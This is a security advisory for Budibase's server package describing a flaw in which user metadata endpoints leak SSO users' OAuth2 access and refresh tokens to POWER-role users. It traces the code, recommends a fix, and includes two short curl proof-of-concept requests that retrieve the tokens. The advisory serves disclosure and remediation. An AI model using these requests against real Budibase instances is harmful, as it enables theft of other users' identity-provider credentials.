GHSA-fcrw-f7gg-6g9f
Budibase: SSO OAuth2 Token Leakage via User Metadata Endpoints to Power-Role Users
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | @budibase/server | < 3.39.25 | 3.39.25 |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
The `/api/users/metadata` and `/api/users/metadata/:id` endpoints in `@budibase/server` return full global user profiles to any user with POWER role or above. For SSO-authenticated users (OIDC, Google), the response includes `oauth2.accessToken` and `oauth2.refreshToken` fields, leaking identity provider credentials to other users who should not have access to them.
## Details
When a user authenticates via SSO (OIDC or Google), the OAuth2 tokens are stored in the global CouchDB user document at `packages/backend-core/src/auth/auth.ts:170-173`:
```typescript
dbUser.oauth2 = {
...dbUser.oauth2,
...details,
}
await db.put(dbUser)
```
The user metadata endpoints are protected by `PermissionType.USER, PermissionLevel.READ` (`packages/server/src/api/routes/user.ts:11`), which maps to the POWER permission set (`packages/backend-core/src/security/permissions.ts:99`).
**Path 1 — List all users** (`GET /api/users/metadata`):
1. `controller.fetchMetadata` → `sdk.users.fetchMetadata()` (`packages/server/src/sdk/users/utils.ts:78`)
2. → `getGlobalUsers()` → `getRawGlobalUsers()` (`packages/server/src/utilities/global.ts:101-122`) — strips only `password` and `forceResetPassword`
3. → `processUser()` (`packages/server/src/utilities/global.ts:15-76`) — strips only `password` and `roles`
4. The `oauth2` field containing `accessToken` and `refreshToken` is **never removed**
**Path 2 — Single user** (`GET /api/users/metadata/:id`):
1. `controller.findMetadata` → `getFullUser()` (`packages/server/src/utilities/users.ts:6`)
2. → `getGlobalUser()` → `getRawGlobalUser()` (`packages/server/src/utilities/global.ts:90-92`) — raw CouchDB fetch, **no field stripping at all**
3. → `processUser()` — strips only `password` and `roles`
4. Same result: `oauth2` tokens are returned
There is no output sanitization middleware on these routes that would strip sensitive fields before the response reaches the client.
## PoC
**Prerequisites:** A Budibase instance with at least one SSO-authenticated user (OIDC or Google) and a separate user with POWER role in an app.
**Step 1 — As the POWER user, list all users:**
```bash
curl -s -X GET 'http://localhost:10000/api/users/metadata' \
-H 'Cookie: budibase:auth=<power-user-jwt>' \
-H 'x-budibase-app-id: app_<appid>' | jq '.[].oauth2'
```
**Expected output:** `null` for all users (tokens should not be exposed)
**Actual output:** For SSO users, the response includes:
```json
{
"accessToken": "ya29.a0ARrdaM...",
"refreshToken": "1//0eXxXxXxXx..."
}
```
**Step 2 — Fetch a specific SSO user's profile:**
```bash
curl -s -X GET 'http://localhost:10000/api/users/metadata/ro_ta_users_us_<sso-user-id>' \
-H 'Cookie: budibase:auth=<power-user-jwt>' \
-H 'x-budibase-app-id: app_<appid>' | jq '.oauth2'
```
This also returns the full OAuth2 tokens.
## Impact
- A user with POWER role in any app can read **all SSO users' OAuth2 access tokens and refresh tokens** via the list endpoint, without needing to know individual user IDs.
- Stolen access tokens can be used to access external identity provider resources (Google Workspace, Azure AD, Okta-protected services) as the victim user.
- Refresh tokens allow indefinite token renewal, persisting access even after the original access token expires.
- Additionally, `admin`, `builder`, `tenantId`, `ssoId`, and `userGroups` fields are leaked, revealing the full authorization topology of the instance.
## Recommended Fix
Strip sensitive SSO fields in `processUser()` at `packages/server/src/utilities/global.ts:15`:
```typescript
export async function processUser(
user: ContextUser,
opts: { appId?: string; groups?: UserGroup[] } = {}
) {
if (!user || (!user.roles && !user.userGroups)) {
return user
}
user = cloneDeep(user)
delete user.password
+ delete (user as any).oauth2
+ delete (user as any).provider
+ delete (user as any).providerType
+ delete (user as any).thirdPartyProfile
+ delete (user as any).profile
+ delete (user as any).ssoId
+ delete (user as any).forceResetPassword
// ... rest of function
```
Additionally, `getRawGlobalUsers()` at line 101 should also strip `oauth2` alongside its existing `password`/`forceResetPassword` stripping for defense in depth.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/Budibase/budibase/security/advisories/GHSA-fcrw-f7gg-6g9f
- https://github.com/Budibase/budibase/pull/19110
- https://github.com/Budibase/budibase/commit/7b8ba11a2c8b233c35e7728dd752dba25ef919a4
- https://github.com/Budibase/budibase/commit/80a31f6c3354620aa90e50af8a2c614333084621
- https://github.com/Budibase/budibase
- https://github.com/Budibase/budibase/releases/tag/3.39.25